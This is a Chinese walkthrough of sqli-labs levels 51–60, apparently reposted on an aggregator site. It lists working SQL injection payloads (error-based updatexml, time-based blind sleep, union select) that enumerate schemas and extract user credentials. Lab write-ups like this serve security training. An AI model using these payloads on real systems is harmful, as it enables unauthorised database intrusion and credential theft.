当前位置: 首页 > news >正文

sqli-labs靶场通关攻略(五十一到六十关)

sqli-labs-master靶场第五十一关

步骤一,尝试输入?sort=1'

我们发现这关可以报错注入

步骤二,爆库名

?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

步骤三,爆表名

?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+

步骤四,爆users列名

?sort=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

步骤五,爆users表中信息

?sort=1' and updatexml(1,concat(0x7e,mid((select group_concat(username,password) from users),1,31),0x7e),1) --+

sqli-labs-master靶场第五十二关

步骤一,这关的参数是sort,输入?sort=1--+

步骤二,查看数据库

判断数据库的第一个字符

用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面延迟三秒访问 说明数据库第一位字符ascii码大于114 :

?sort=1 and if((ascii(substr(database(),1,1))>114),sleep(3),1)--+

判断数据库第一位字符的ascii码是否大于115 页面正常显示 说明不大于 大于114不大于115 说明第一位字符ascii码等于115

?sort=1 and if((ascii(substr(database(),1,1))>115),sleep(3),1)--+

数据库第一位字符ascii码为115 's'。

以此类推...最终得出数据库名为security

步骤三,查看表名

查security数据库中第一张表的第一位字符

?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 ,sleep(3),1)--+

页面延迟三秒

?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101 ,sleep(3),1)--+

页面正常

大于100不大于101 说明第一张表的第一位字符等于101 'e' 。

以此类推...最终得出第一张表的表名为emails

sqli-labs-master靶场第五十三关

步骤一,这关的参数是sort,输入?sort=1'--+

步骤二,查看数据库

判断数据库的第一个字符

用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面延迟三秒访问 说明数据库第一位字符ascii码大于114 :

?sort=1' and if((ascii(substr(database(),1,1))>114),sleep(3),1)--+

判断数据库第一位字符的ascii码是否大于115 页面正常显示 说明不大于 大于114不大于115 说明第一位字符ascii码等于115

?sort=1' and if((ascii(substr(database(),1,1))>115),sleep(3),1)--+

数据库第一位字符ascii码为115 's'。

以此类推...最终得出数据库名为security

步骤三,查看表名

查security数据库中第一张表的第一位字符

?sort=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 ,sleep(3),1)--+

页面延迟三秒

?sort=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101 ,sleep(3),1)--+

页面正常访问

大于100不大于101 说明第一张表的第一位字符等于101 'e' 。

以此类推...最终得出第一张表的表名为emails

sqli-labs-master靶场第五十四关

步骤一,查看数据库

?id=-1'union select 1,2,database()--+

步骤二,查看表名

?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

步骤三,查看users表中列名

?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

sqli-labs-master靶场第五十五关

步骤一,查看数据库

?id=-1)union select 1,2,database()--+

步骤二,查看表名

?id=-1)union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

步骤三,查看users表中列名

?id=-1)union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

sqli-labs-master靶场第五十六关

步骤一,判断闭合方式

?id=1') --+

步骤二,查看数据库

?id=-1') union select 1,2,database()--+

步骤三,查看表名

?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

步骤四,查看users表中列名

?id=-1')union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

sqli-labs-master靶场第五十七关

步骤一,判断闭合方式

?id=1" --+

步骤二,查看数据库

?id=-1" union select 1,2,database()--+

步骤三,查看表名

?id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

步骤四,查看users表中列名

?id=-1"union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

sqli-labs-master靶场第五十八关

步骤一,判断闭合方式

?id=1'

跟个单引号引起报错 说明页面有报错语句的位置

步骤二,查看数据库

?id=1' and updatexml(1,concat(1,(select database())),1)--+

步骤三,查看表名

?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

步骤四,查看users表中列名

?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

sqli-labs-master靶场第五十九关

步骤一,判断闭合方式

?id=1 --+

步骤二,查看数据库

?id=-1 and updatexml(1,concat(1,(select database())),1) --+

步骤三,查看表名

?id=-1 and updatexml(1,concat(1,(select group_concat(table_name)from information_schema.tables where table_schema='security')),1) --+

步骤四,查看users表中列名

?id=1 and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) --+

sqli-labs-master靶场第六十关

步骤一,判断闭合方式

?id=1") --+

步骤二,查看数据库

?id=-1") and updatexml(1,concat(1,(select database())),1) --+

步骤三,查看表名

?id=-1") and updatexml(1,concat(1,(select group_concat(table_name)from information_schema.tables where table_schema='security')),1) --+

步骤四,查看users表中列名

?id=1") and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) --+

http://www.lryc.cn/news/431045.html

相关文章:

  • c语言中的动态内存管理
  • 生信机器学习入门4 - scikit-learn训练逻辑回归(LR)模型和支持向量机(SVM)模型
  • COD论文笔记 Adaptive Guidance Learning for Camouflaged Object Detection
  • 9.5LeetCode
  • 数据仓库系列13:增量更新和全量更新有什么区别,如何选择?
  • 数据 结构(内核链表)
  • 学习node.js十三,文件的上传于下载
  • 【刷题笔记】删除并获取最大点数粉刷房子
  • 【Linux 从基础到进阶】Elasticsearch 搜索服务安装与调优
  • IMU助力JAXA空间站机器人
  • java开发,记录一些注解和架构
  • 【2024高教社杯全国大学生数学建模竞赛】B题 生产过程中的决策问题——解题思路 代码 论文
  • JUnit 5和Mockito进行单元测试!
  • LeetCode 算法:完全平方数 c++
  • 深入CSS 布局——WEB开发系列29
  • 视频的容器格式和编码格式详解
  • Elasticsearch Mapping 详解
  • WPF 利用视觉树获取指定名称对象、指定类型对象、以及判断是否有验证错误
  • 了解`re`模块的`split()`, `sub()`, `subn()`方法的作用
  • 机器学习交通流量预测实现方案
  • QNN:基于QNN+example重构之后的yolov8det部署
  • Redis实战宝典:开发规范与最佳实践
  • RPC的实现原理架构
  • OpenXR Monado Hello_xr提交Frame
  • huggingface快速下载模型及其配置
  • 虚幻5|不同骨骼受到不同伤害|小知识(2)
  • 达梦SQL 优化简介
  • 题解:CF1070B Berkomnadzor
  • shell 学习笔记:数组
  • 计算机基础知识复习9.5